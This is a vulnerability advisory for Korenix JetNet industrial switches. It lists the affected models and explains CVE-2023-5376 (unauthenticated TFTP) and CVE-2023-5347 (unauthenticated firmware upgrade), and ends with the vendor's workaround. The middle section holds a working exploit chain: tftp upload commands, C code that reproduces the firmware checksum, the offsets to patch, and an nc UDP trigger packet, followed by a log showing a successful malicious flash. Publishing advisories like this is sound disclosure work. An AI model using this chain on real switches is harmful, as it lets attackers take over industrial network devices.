Tested on emulated Korenix JetNet 5310G / v2.6
All vulnerable models/versions according to vendor:
JetNet 4508 (4508i-w V1.3, 4508 V2.3, 4508-w V2.3)
JetNet 4508f, 4508if (4508if-s V1.3,4508if-m V1.3, 4508if-sw V1.3, 4508if-mw V1.3, 4508f-m V2.3, 4508f-s V2.3, 4508f-mw V2.3, 4508f-sw V2.3)
JetNet 5620G-4C V1.1
JetNet 5612GP-4F V1.2
JetNet 5612G-4F V1.2
JetNet 5728G (5728G-24P-AC-2DC-US V2.1, 5728G-24P-AC-2DC-EU V2.0)
JetNet 528Gf (6528Gf-2AC-EU V1.0, 6528Gf-2AC-US V1.0, 6528Gf-2DC24 V1.0, 6528Gf-2DC48 V1.0, 6528Gf-AC-EU V1.0, 6528Gf-AC-US V1.0)
JetNet 6628XP-4F-US V1.1
JetNet 6628X-4F-EU V1.0
JetNet 6728G (6728G-24P-AC-2DC-US V1.1, 6728G-24P-AC-2DC-EU V1.1)
JetNet 6828Gf (6828Gf-2DC48 V1.0, 6828Gf-2DC24 V1.0, 6828Gf-AC-DC24-US V1.0, 6828Gf-2AC-US V1.0, 6828Gf-AC-US V1.0, 6828Gf-2AC-AU V1.0, 6828Gf-AC-DC24-EU V1.0, 6828Gf-2AC-EU V1.0)
JetNet 6910G-M12 HVDC V1.0
JetNet 7310G-V2 2.0
JetNet 7628XP-4F-US V1.0, 7628XP-4F-US V1.1, 7628XP-4F-EU V1.0, 7628XP-4F-EU V1.1
JetNet 7628X-4F-US V1.0, 7628X-4F-EU V1.0
JetNet 7714G-M12 HVDC V1.0
1) TFTP Without Authentication (CVE-2023-5376)
The available tftp service is accessable without user authentication. This allows the user to upload and download files to the restricted „/home“ folder.
2) Unauthenticated Firmware Upgrade (CVE-2023-5347)
A critical security vulnerability has been identified that may allow an unauthenticated attacker to compromise the integrity of a device or cause a denial of service (DoS) condition. This vulnerability resides in the firmware upgrade process of the affected system.
The Linux tftp client was used to upload a firmware to the absolute path „/home/firmware.bin“:
# tftp $IP
tftp> put exploit.bin /home/firmware.bin
Sent 5520766 bytes in 5.7 seconds
Unauthenticated attackers can exploit this by uploading malicious firmware via TFTP and initializing the upgrade process with a crafted UDP packet on port 5010.
We came to the conclusion that the firmware image consists of multiple sections. Our interpretation of these can be seen below:
class FirmwarePart:
def init(self, name, offset, size):
self.name = name
self.offset = offset
self.size = size
firmware_parts = [
FirmwarePart(„uimage_header“, 0x0, 0x40),
FirmwarePart(„uimage_kernel“, 0x40, 0x3c54),
FirmwarePart(„gzip“, 0x3c94, 0x14a000 – 0x3c94),
FirmwarePart(„squashfs“, 0x14a000, 0x539000 – 0x14a000),
FirmwarePart(„metadata“, 0x539000, 5480448 – 0x539000),
]
The squashfs includes the rootfs. Metadata includes a 4 byte checksum which needs to be modified when repacked. During our analysis we observed that the checksum gets calculated over all sections except metadata. To test this vulnerability we reimplemented the checksum calculation at offset 0x9bdc in the binary „/bin/cmd-server2“:
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int32_t check_file(const char* arg1) {
FILE* r0 = fopen(arg1, „rb“);
if (!r0) {
return 0xffffffff;
}
int32_t filechecksum = 0;
int32_t last_data_size = 0;
int32_t file_size = 0;
uint8_t data_buf[4096];
int32_t data_len = 1;
while (data_len > 0) {
data_len = fread(data_buf, 1, sizeof(data_buf), r0);
if (data_len == 0) {
break;
}
int32_t counter = 0;
while (counter < (data_len >> 2)) {
int32_t byte_at_counter = *((int32_t*)(data_buf + (counter << 2)));
counter++;
filechecksum += byte_at_counter;
}
file_size += data_len;
last_data_size = data_len;
}
fclose(r0);
if (last_data_size < 0x400 || (last_data_size >= 0x400 && (file_size – 0x14a
000) > 0x5ac000)) {
return 0xffffffff;
}
data_len = 0;
while (data_len < (last_data_size >> 2)) {
int32_t r3_2 = *((int32_t*)(data_buf + (data_len << 2)));
data_len++;
filechecksum -= r3_2;
}
return filechecksum;
}
int main(int argc, char* argv[]) {
if (argc != 2) {
printf(„Usage: %s <file_path>\n“, argv[0]);
return 1;
}
int32_t result = check_file(argv[1]);
printf(„0x%x\n“, result);
return 0;
}
After modifying and repacking the squashfs, we calculated the checksum, patched the required bytes in the metadata section (offset 0x11b-0x11e) and initilized the update process.
# tftp $IP
tftp> put exploit.bin /home/firmware.bin
Sent 5520766 bytes in 5.7 seconds
# echo -e „\x00\x00\x00\x1f\x00\x00\x00\x01\x01“ | nc -u $IP 5010
The output of the serial console can be observed below:
Jan 1 00:01:00 Jan 1 00:01:00 syslog: UDP cmd is received
Jan 1 00:01:00 Jan 1 00:01:00 syslog: management vlan = sw0.0
Jan 1 00:01:00 Jan 1 00:01:00 syslog: setsockopt(SO_BINDTODEVICE) No such devi
Jan 1 00:01:00 Jan 1 00:01:00 syslog: tlv_count = 0
Jan 1 00:01:00 Jan 1 00:01:00 syslog: rec_bytes = 10
Jan 1 00:01:00 Jan 1 00:01:00 syslog: command TLV_FW_UPGRADE received
check firmware…
checksum=b2256313, inFileChecksum=b2256313
Firmware upgrading, don’t turn off the switch!
Begin erasing flash:
.
Write firmware.bin (5480448 Bytes) to flash:
…
Write finished…
Terminating child processes…
Jan 1 00:01:01 Jan 1 00:01:01 syslog: first time create tlv_chain
Jan 1 00:01:01 syslogd exiting
Firmware upgrade success!!
waiting for reboot command …….
Beijer/Korenix provided a workaround to mitigate the vulnerabilities until a proper patch is available (see „Workaround“ section).
Beijer representatives provided the following workaround for mitigating the
vulnerabilities on devices of the JetNet series:
Login by terminal:
Switch# configure terminal
Switch(config)# service ipscan disable
Switch(config)# tftpd disable
Switch(config)# copy running-config startup-config
Regardless to the current state of the vulnerability, CyberDanube recommends customers from Korenix to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended.
